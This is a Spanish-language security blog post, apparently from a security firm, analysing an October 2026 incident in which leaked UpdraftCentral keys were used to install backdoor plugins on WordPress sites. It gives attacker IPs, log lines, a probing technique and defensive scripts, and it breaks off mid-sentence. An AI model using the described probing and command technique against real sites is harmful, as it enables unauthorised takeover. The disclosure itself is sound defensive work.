{"id":9629,"date":"2026-10-19T07:44:05","date_gmt":"2026-10-19T05:44:05","guid":{"rendered":"https:\/\/nethemba.com\/updraftcentral-backdoor-analisis\/"},"modified":"2026-10-19T17:03:28","modified_gmt":"2026-10-19T15:03:28","slug":"updraftcentral-backdoor-analisis","status":"publish","type":"post","link":"https:\/\/nethemba.com\/es\/updraftcentral-backdoor-analisis\/","title":{"rendered":"Problema de seguridad cr\u00edtico en UpdraftCentral: un atacante con las claves del servicio instal\u00f3 una puerta trasera en nuestras webs"},"content":{"rendered":"<h2 id=\"resumen\">Resumen<\/h2>\n<p><em>Situaci\u00f3n a 19 de octubre de 2026, \u00faltima actualizaci\u00f3n el 19\/10\/2026 (comunicado del fabricante). La lista de cambios est\u00e1 al final del art\u00edculo. Seguiremos actualizando el texto seg\u00fan evolucione la situaci\u00f3n.<\/em><\/p>\n<p><strong>Actualizaci\u00f3n 19\/10\/2026:<\/strong> TeamUpdraft ha <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">confirmado un incidente de seguridad<\/a>. Durante el fin de semana del 17 y 18 de octubre un atacante tuvo acceso no autorizado a teamupdraft.com y, seg\u00fan el fabricante, probablemente obtuvo la base de datos de clientes: nombres, correos, direcciones de facturaci\u00f3n, historial de pedidos, hashes de contrase\u00f1as, la configuraci\u00f3n de la autenticaci\u00f3n en dos pasos y las claves de conexi\u00f3n de UpdraftCentral (nube), UpdraftVault y UpdraftClone. Las claves con las que el atacante firm\u00f3 las \u00f3rdenes se filtraron, por tanto, directamente del fabricante. El fabricante ha cerrado la sesi\u00f3n de todas las cuentas, ha sustituido las claves de UpdraftVault y UpdraftClone y prepara una versi\u00f3n de emergencia de UpdraftPlus que desconectar\u00e1 autom\u00e1ticamente todas las conexiones de UpdraftCentral creadas antes de las 22:00 BST del 18 de octubre de 2026 (23:00 CEST). Seg\u00fan el fabricante, UpdraftCentral alojado en servidor propio no est\u00e1 afectado.<\/p>\n<p><strong>Actualizaci\u00f3n 19\/10\/2026 (tarde):<\/strong> <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">Patchstack ha publicado su propio an\u00e1lisis<\/a>, que confirma y ampl\u00eda nuestras conclusiones. Vio 99 nombres distintos de plugins con puerta trasera instalados entre el 18\/10 a las 15:32 y el 19\/10 a las 9:23, y una segunda direcci\u00f3n IP del atacante, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>. Tambi\u00e9n nos han escrito otros administradores afectados. Uno de ellos encontr\u00f3 una <strong>segunda variante de la puerta trasera que crea un administrador oculto<\/strong>. La describimos m\u00e1s abajo y hemos actualizado el script de comprobaci\u00f3n para que la detecte. Si ya ejecut\u00f3 el script, vuelva a ejecutarlo.<\/p>\n<table>\n<tbody>\n<tr class=\"odd\">\n<td><strong>Qu\u00e9 est\u00e1 afectado<\/strong><\/td>\n<td>el servicio UpdraftCentral, cuyo cliente forma parte del plugin UpdraftPlus, gratuito y premium<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Versiones afectadas<\/strong><\/td>\n<td>todas las versiones de UpdraftPlus conectadas a UpdraftCentral Cloud mediante una conexi\u00f3n creada antes de las 23:00 CEST del 18\/10\/2026, incluidas las m\u00e1s recientes 1.26.11 y 2.26.11. En webs conectadas con versiones hasta la 1.26.4 y la 2.26.4, al atacante ni siquiera le hacen falta claves v\u00e1lidas (CVE-2026-10795).<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>Cu\u00e1ntas webs<\/strong><\/td>\n<td>Seg\u00fan wordpress.org, UpdraftPlus tiene m\u00e1s de 4 millones de instalaciones activas, y el fabricante lo presenta como el plugin de copias de seguridad programadas m\u00e1s popular del mundo. Con el fallo de junio en el mismo canal, el fabricante estim\u00f3 que menos del 10 % de los usuarios tienen una clave de UpdraftCentral o de Migrator, es decir, hasta unas 400 000 webs. No sabemos a cu\u00e1ntas de ellas atac\u00f3.<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Correcci\u00f3n<\/strong><\/td>\n<td>el fabricante prepara una versi\u00f3n de emergencia de UpdraftPlus que desconectar\u00e1 autom\u00e1ticamente todas las conexiones de UpdraftCentral creadas antes de las 23:00 CEST del 18\/10\/2026. Hasta entonces, borre las claves a mano.<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>Soluci\u00f3n temporal<\/strong><\/td>\n<td>eliminar la conexi\u00f3n con UpdraftCentral, revisar la web con nuestro script, cambiar la contrase\u00f1a de teamupdraft.com y, opcionalmente, bloquear las \u00f3rdenes de UpdraftCentral con un peque\u00f1o mu-plugin (ver abajo). No hace falta desinstalar UpdraftPlus; las copias de seguridad siguen funcionando.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>La noche del 19 de octubre de 2026 un atacante desde la direcci\u00f3n IP <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> envi\u00f3 a trav\u00e9s del servicio UpdraftCentral la orden <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> a tres de nuestras webs con WordPress. UpdraftCentral es un servicio de gesti\u00f3n remota de webs de TeamUpdraft, y su cliente est\u00e1 integrado en cada copia del plugin UpdraftPlus. En dos de nuestras webs la orden se ejecut\u00f3 y WordPress instal\u00f3 y activ\u00f3 un plugin desconocido. En la tercera fall\u00f3 por falta de permisos.<\/p>\n<p>El fallo no estaba de nuestro lado. Las tres webs ten\u00edan WordPress 7.1.3 y UpdraftPlus 2.26.11 actualizados, este \u00faltimo corregido contra la vulnerabilidad de junio CVE-2026-10795. El atacante no entr\u00f3 en nuestros servidores ni aprovech\u00f3 ning\u00fan error de nuestra configuraci\u00f3n. Lleg\u00f3 por el canal de gesti\u00f3n remota de UpdraftCentral y firm\u00f3 sus \u00f3rdenes con claves privadas v\u00e1lidas del panel. Esas claves las genera y custodia el servicio UpdraftCentral Cloud y nunca han estado en nuestros servidores. Quien las tenga puede instalar y ejecutar cualquier c\u00f3digo en cada web conectada sin que su propietario lo sepa. Por eso lo consideramos un problema de seguridad cr\u00edtico del servicio UpdraftCentral.<\/p>\n<p><strong>Qui\u00e9n est\u00e1 en riesgo:<\/strong> toda web con UpdraftPlus, gratuito o premium, que est\u00e9 conectada a UpdraftCentral, es decir, que tenga una clave de UpdraftCentral. Cada una de las m\u00e1s de 4 millones de instalaciones de UpdraftPlus contiene el cliente de UpdraftCentral. Las webs que no est\u00e1n conectadas a UpdraftCentral no corren riesgo por este ataque, porque sin clave no aceptan \u00f3rdenes de UpdraftCentral. Nuestras webs estaban conectadas a UpdraftCentral Cloud, el panel que opera TeamUpdraft. Seg\u00fan el fabricante, los paneles de UpdraftCentral alojados en servidor propio no est\u00e1n afectados. Tambi\u00e9n se filtraron las claves de UpdraftVault y UpdraftClone, que el fabricante ya ha sustituido.<\/p>\n<p>No se trata de la vulnerabilidad CVE-2026-10795, sobre la que Wordfence escribi\u00f3 en junio: nuestras webs estaban corregidas y los intentos de explotarla en ellas fallaban.<\/p>\n<p>El plugin es una puerta trasera. Con un enlace secreto deb\u00eda crear una cuenta con permisos de administrador camuflados e iniciar sesi\u00f3n del atacante directamente en ella. Su autor cometi\u00f3 un error en el c\u00f3digo, as\u00ed que la puerta trasera nunca funcion\u00f3. En su lugar hizo fallar cada petici\u00f3n a la web que no se serv\u00eda desde la cach\u00e9, y WordPress nos avis\u00f3 por correo. As\u00ed la encontramos en cuesti\u00f3n de minutos a horas.<\/p>\n<p>Comunicamos el incidente a TeamUpdraft el 19 de octubre y les pedimos que expliquen c\u00f3mo llegaron las claves al atacante.<\/p>\n<p><strong>Si su web est\u00e1 conectada a UpdraftCentral, consid\u00e9rela potencialmente comprometida hasta haberla revisado.<\/strong> Elimine la conexi\u00f3n de inmediato y revise la web como se describe abajo. A 19 de octubre de 2026 no encontramos ninguna menci\u00f3n p\u00fablica de esta puerta trasera ni de un ataque similar posterior a la correcci\u00f3n de junio.<\/p>\n<h2 id=\"qu\u00e9-hacer-ahora-mismo\">Qu\u00e9 hacer ahora mismo<\/h2>\n<h3 id=\"elimine-la-conexi\u00f3n-con-updraftcentral\">1. Elimine la conexi\u00f3n con UpdraftCentral<\/h3>\n<p>En el administrador de WordPress abra Ajustes \u2192 UpdraftPlus Backups \u2192 pesta\u00f1a \u00abAdvanced Tools\u00bb \u2192 \u00abUpdraftCentral\u00bb. Haga clic en \u00abManage existing keys (N)\u2026\u00bb y luego en \u00abDelete\u2026\u00bb junto a cada clave. Si no aparece ninguna clave, la web no est\u00e1 conectada.<\/p>\n<p>Con acceso a la l\u00ednea de comandos, lo mismo se hace con esta orden en el directorio ra\u00edz de WordPress:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp option delete updraft_central_localkeys<\/code><\/pre>\n<p>Despu\u00e9s elimine tambi\u00e9n la web del panel de UpdraftCentral (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 junto a la web \u2192 Remove site). Eliminarla solo del panel no basta. El atacante tiene la clave privada del panel, as\u00ed que lo decisivo es borrar la clave en la web.<\/p>\n<p>Seg\u00fan el fabricante, puede volver a conectar la web despu\u00e9s de borrar la clave, revisarla y cambiar las contrase\u00f1as de los administradores. Antes, cambie la contrase\u00f1a de su cuenta de teamupdraft.com (escriba usted mismo la direcci\u00f3n en el navegador, no siga enlaces de correos), cambie esa misma contrase\u00f1a donde la haya reutilizado y vuelva a configurar la autenticaci\u00f3n en dos pasos. Si instal\u00f3 nuestro mu-plugin de bloqueo, elim\u00ednelo antes de volver a conectar. Quien use UpdraftVault debe volver a conectar sus webs con las nuevas credenciales.<\/p>\n<h3 id=\"compruebe-si-la-puerta-trasera-est\u00e1-en-su-web\">2. Compruebe si la puerta trasera est\u00e1 en su web<\/h3>\n<p>Sin l\u00ednea de comandos:<\/p>\n<ul>\n<li>En la misma pantalla de UpdraftCentral haga clic en \u00abView recent UpdraftCentral log events\u2026\u00bb. Busque las l\u00edneas \u00abCommand received: plugin.upload_plugin\u00bb y \u00abprobe.central.updraftplus.com\u00bb.<\/li>\n<li>En la lista de plugins busque uno con la descripci\u00f3n \u00abSmall maintenance toolkit: keeps option storage tidy.\u00bb y un nombre de dos palabras y tres caracteres, por ejemplo \u00abLoad Stack 35C\u00bb.<\/li>\n<li>Un plugin con la descripci\u00f3n \u00abImproves cron tasks efficiency for content sites with minimal overhead.\u00bb es la segunda variante. Su cuenta no aparece en la lista de usuarios, as\u00ed que revise la web tambi\u00e9n con el script.<\/li>\n<li>En la lista de usuarios busque una cuenta llamada \u00abSite Tools\u00bb o con un correo en <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code>.<\/li>\n<\/ul>\n<p>Si la puerta trasera est\u00e1 en la web, puede que el administrador no funcione, porque el plugin hace fallar cada petici\u00f3n. En ese caso use la l\u00ednea de comandos.<\/p>\n<p>Con l\u00ednea de comandos, guarde nuestro script de comprobaci\u00f3n del final del art\u00edculo como <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">check-updraftcentral.php<\/code> en el directorio ra\u00edz de WordPress y ejecute:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\n<p>El script solo lee y no cambia nada. La opci\u00f3n <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">--skip-plugins<\/code> es importante, porque una puerta trasera instalada har\u00eda fallar tambi\u00e9n WP-CLI. Las l\u00edneas <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code> son rastros del ataque, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code> indica algo que revisar y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code> es un resultado limpio. Que una orden aparezca en el registro no significa todav\u00eda que el plugin se instalara (en una de nuestras webs no se instal\u00f3), por eso el script revisa tambi\u00e9n archivos, opciones de la base de datos y cuentas. Si informa de algo con <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code>, siga en la secci\u00f3n \u00abQu\u00e9 hacer si la encuentra\u00bb.<\/p>\n<p>UpdraftPlus solo guarda los \u00faltimos 50 eventos en el registro de UpdraftCentral. En una web que visitan a menudo los esc\u00e1neres, el rastro del ataque puede desaparecer del registro y entonces el script da <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code> para el registro. Si tiene acceso a los registros del servidor web, rev\u00edselos tambi\u00e9n (ajuste la ruta a su servidor; con nginx, por ejemplo, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">\/var\/log\/nginx\/<\/code>):<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">grep &#39;class-udrpc.php&quot;&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<p>La orden encuentra peticiones de UpdraftCentral sin versi\u00f3n de la biblioteca en la cabecera User-Agent, como las que envi\u00f3 el atacante. El panel real env\u00eda <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, as\u00ed que la orden no lo detecta.<\/p>\n<h3 id=\"opcional-bloquee-por-completo-las-\u00f3rdenes-de-updraftcentral\">3. Opcional: bloquee por completo las \u00f3rdenes de UpdraftCentral<\/h3>\n<p>Para estar seguro de que la web no ejecuta ninguna orden de UpdraftCentral aunque quede una clave en ella, guarde en el directorio <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/mu-plugins\/<\/code> un archivo <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">block-updraftcentral.php<\/code> con este contenido:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST[&#39;udrpc_message&#39;] ) ) {\n    http_response_code( 403 );\n    exit;\n}<\/code><\/pre>\n<p>WordPress carga los archivos de <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> antes que los plugins normales, as\u00ed que la petici\u00f3n se detiene antes de que UpdraftPlus la procese. Tambi\u00e9n bloquea la migraci\u00f3n de webs con UpdraftPlus Migrator, que usa el mismo canal. Borre el archivo cuando el fabricante haya explicado y resuelto el problema.<\/p>\n<h2 id=\"c\u00f3mo-lo-descubrimos\">C\u00f3mo lo descubrimos<\/h2>\n<p>A las 5:38 recibimos un correo autom\u00e1tico de WordPress: \u00abWordPress caught an error with one of your plugins, Load Stack 35C.\u00bb Nunca hab\u00edamos instalado un plugin con ese nombre. El mensaje de error dec\u00eda <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code>, y desde las 4:14 nuestra web respond\u00eda a cada petici\u00f3n con un error 500.<\/p>\n<p>Todos los archivos de la carpeta <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/plugins\/load-stack-35c\/<\/code> ten\u00edan la misma hora de modificaci\u00f3n, 4:14:30. Un segundo despu\u00e9s cambi\u00f3 la carpeta <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/upgrade\/<\/code>, que WordPress usa para descomprimir los plugins que instala. El plugin lleg\u00f3, por tanto, a trav\u00e9s del instalador est\u00e1ndar de WordPress y no como un archivo copiado al disco. En ese mismo segundo el registro de accesos contiene una \u00fanica petici\u00f3n:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] &quot;POST \/ HTTP\/1.1&quot; 200 8454 &quot;-&quot; &quot;WordPress\/6.4; class-udrpc.php&quot;<\/code><\/pre>\n<p><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php<\/code> es la biblioteca con la que UpdraftPlus recibe \u00f3rdenes de UpdraftCentral. Su propio registro (la opci\u00f3n de base de datos <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftcentral_client_log<\/code>) lo confirm\u00f3: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code>.<\/p>\n<h2 id=\"cronolog\u00eda\">Cronolog\u00eda<\/h2>\n<p>Llamamos a las webs A, B y C. Todas las horas en CEST. Todas las peticiones llegaron desde <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> (proveedor RedSwitches) con la cabecera User-Agent <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n<table>\n<thead>\n<tr class=\"header\">\n<th>Web<\/th>\n<th>Sondeo<\/th>\n<th>Instalaci\u00f3n del plugin<\/th>\n<th>Resultado<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Web C<\/td>\n<td>19\/10 0:41:32<\/td>\n<td>6:05:31<\/td>\n<td>fallida, la clave pertenec\u00eda a un usuario sin permiso para instalar plugins<\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Web A<\/td>\n<td>2:14:05<\/td>\n<td>4:14:30<\/td>\n<td>puerta trasera \u00abLoad Stack 35C\u00bb activa, web ca\u00edda hasta las 6:13<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Web B<\/td>\n<td>2:39:44<\/td>\n<td>6:53:49<\/td>\n<td>puerta trasera \u00abText Gantry Eb0\u00bb activa, eliminada a las 6:56<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>El sondeo es un mensaje dirigido a una clave inexistente, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code>. La web responde que no entiende el mensaje y con ello revela que acepta \u00f3rdenes de UpdraftCentral. La siguiente orden el atacante ya la envi\u00f3 a la clave real <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0.central.updraftplus.com<\/code>. En las tres webs el ataque transcurri\u00f3 igual, por el mismo atacante, con pocas horas de diferencia.<\/p>\n<h2 id=\"c\u00f3mo-funcion\u00f3-el-ataque\">C\u00f3mo funcion\u00f3 el ataque<\/h2>\n<p>Al conectar una web a UpdraftCentral, la web genera un par de claves RSA y env\u00eda la clave p\u00fablica al servicio UpdraftCentral Cloud. El servicio tiene su propio par de claves y env\u00eda a la web solo su clave p\u00fablica. La clave privada del panel se queda en el servicio. Cada orden debe ir cifrada para la clave de la web y firmada con la clave privada del panel. La web la ejecuta entonces con los permisos del usuario que cre\u00f3 la clave en WordPress.<\/p>\n<p>La orden <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> super\u00f3 toda esta comprobaci\u00f3n en dos webs. Analizamos la web A en detalle y descartamos estas explicaciones:<\/p>\n<ol type=\"1\">\n<li><strong>La vulnerabilidad conocida CVE-2026-10795.<\/strong> Afecta a UpdraftPlus hasta la 1.26.4 (premium hasta la 2.26.4). Nuestras webs ten\u00edan la 2.26.11. Vemos intentos de explotarla en los registros de las webs B y C desde junio, desde decenas de direcciones IP, y todos terminaron con \u00abCould not decrypt incoming message\u00bb.<\/li>\n<li><strong>Un plugin modificado.<\/strong> Los archivos <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc2.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/bootstrap.php<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/listener.php<\/code> y <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">central\/host.php<\/code> son id\u00e9nticos byte a byte a la versi\u00f3n oficial 1.26.11 de wordpress.org.<\/li>\n<li><strong>El formato antiguo de mensajes sin firma.<\/strong> El c\u00f3digo lo rechaza para las claves de UpdraftCentral, y la entrada \u00abCommand received\u00bb solo se escribe despu\u00e9s de esa comprobaci\u00f3n.<\/li>\n<li><strong>Una clave del panel sustituida.<\/strong> Las huellas de las claves son las mismas en las copias diarias del 15 al 18 de octubre y en la base de datos en producci\u00f3n, y en los registros de acceso nadie llam\u00f3 a la funci\u00f3n de intercambio de claves.<\/li>\n<li><strong>Criptograf\u00eda d\u00e9bil.<\/strong> Tanto la clave de la web como la del panel son RSA de 2048 bits con exponente 65537, y UpdraftPlus incluye phpseclib 2.0.55, que tiene corregido el conocido fallo de verificaci\u00f3n de firmas.<\/li>\n<li><strong>Un wp-admin comprometido.<\/strong> No aparecieron administradores desconocidos, las sumas de comprobaci\u00f3n del n\u00facleo y de los plugins coinciden y los registros no muestran ninguna subida de plugin desde el administrador.<\/li>\n<\/ol>\n<p>El atacante ten\u00eda, por tanto, las claves privadas del panel de las tres conexiones a la vez. Esas claves nunca han estado en nuestros servidores, as\u00ed que no pudieron filtrarse desde ah\u00ed. Las \u00f3rdenes tampoco llegaron desde un servidor de TeamUpdraft. El panel real envi\u00f3 \u00f3rdenes a la web B en marzo y abril de 2026 con esta cabecera User-Agent:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">WordPress\/6.8.5; class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code><\/pre>\n<p>El atacante enviaba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, sin versi\u00f3n de la biblioteca y sin URL, desde su propio servidor. Las claves se filtraron, por tanto, del entorno de UpdraftCentral Cloud y el atacante las us\u00f3 fuera de \u00e9l.<\/p>\n<p>El 19 de octubre TeamUpdraft confirm\u00f3 que durante el fin de semana del 17 y 18 de octubre un atacante tuvo acceso a teamupdraft.com y probablemente a la base de datos de clientes, incluidas las claves de UpdraftCentral. Las claves se filtraron, por tanto, de la infraestructura del fabricante. La cronolog\u00eda encaja: las claves de las webs B y C exist\u00edan desde noviembre de 2025 y el atacante no las us\u00f3 hasta la noche del 18 al 19 de octubre, justo despu\u00e9s de la intrusi\u00f3n. El fabricante no ha explicado c\u00f3mo entr\u00f3 el atacante en teamupdraft.com.<\/p>\n<p>En la web C el ataque fall\u00f3 por casualidad. All\u00ed la clave la cre\u00f3 en noviembre de 2025 un usuario que ya no es administrador. Antes de instalar, UpdraftCentral comprueba si el propietario de la clave tiene los permisos <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em 